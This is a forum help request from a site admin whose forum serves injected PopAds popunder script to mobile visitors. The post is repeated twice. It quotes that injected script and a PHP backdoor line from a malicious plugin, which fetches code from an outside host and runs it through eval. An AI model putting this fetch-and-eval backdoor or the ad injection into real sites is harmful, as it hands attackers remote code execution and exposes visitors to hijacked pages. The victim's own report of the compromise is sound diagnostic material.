Hi all,
Forum URL: http://forum.vccn.no
Our forum has been injected with some kind of PopAds.net popunder code.
Seems to happen only when entering site from mobile phone.
I have tracked the code that is beeing generated upon launch:
<!-- PopAds.net Popunder Code for forum.vccn.no -->
<script type="text/javascript" data-cfasync="false">
var _pop = _pop || [];
_pop.push(['siteId', 1525984]);
_pop.push(['minBid', 0]);
_pop.push(['popundersPerIP', 2]);
_pop.push(['delayBetween', 0]);
_pop.push(['default', false]);
_pop.push(['defaultPerDay', 0]);
_pop.push(['topmostLayer', false]);
(function() {
var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true;
var s = document.getElementsByTagName('script')[0];
pa.src = '//c1.popads.net/pop.js';
pa.onerror = function() {
var sa = document.createElement('script'); sa.type = 'text/javascript'; sa.async = true;
sa.src = '//c2.popads.net/pop.js';
s.parentNode.insertBefore(sa, s);
};
s.parentNode.insertBefore(pa, s);
})();
</script>
<!-- PopAds.net Popunder Code End --><!DOCTYPE html>
But i'm unable to find out where and what that generate this code.
A few days ago i found a new plugin and removed it right away. (Changed all password etc. as well)
$config_data = file_get_contents('http://images.imagenetcom.com/hxml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }
Forum is running 4.2.3 PL 2
Any suggestion there i should start looking?
Forum URL: http://forum.vccn.no
Our forum has been injected with some kind of PopAds.net popunder code.
Seems to happen only when entering site from mobile phone.
I have tracked the code that is beeing generated upon launch:
<!-- PopAds.net Popunder Code for forum.vccn.no -->
<script type="text/javascript" data-cfasync="false">
var _pop = _pop || [];
_pop.push(['siteId', 1525984]);
_pop.push(['minBid', 0]);
_pop.push(['popundersPerIP', 2]);
_pop.push(['delayBetween', 0]);
_pop.push(['default', false]);
_pop.push(['defaultPerDay', 0]);
_pop.push(['topmostLayer', false]);
(function() {
var pa = document.createElement('script'); pa.type = 'text/javascript'; pa.async = true;
var s = document.getElementsByTagName('script')[0];
pa.src = '//c1.popads.net/pop.js';
pa.onerror = function() {
var sa = document.createElement('script'); sa.type = 'text/javascript'; sa.async = true;
sa.src = '//c2.popads.net/pop.js';
s.parentNode.insertBefore(sa, s);
};
s.parentNode.insertBefore(pa, s);
})();
</script>
<!-- PopAds.net Popunder Code End --><!DOCTYPE html>
But i'm unable to find out where and what that generate this code.
A few days ago i found a new plugin and removed it right away. (Changed all password etc. as well)
$config_data = file_get_contents('http://images.imagenetcom.com/hxml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }
Forum is running 4.2.3 PL 2
Any suggestion there i should start looking?
Comment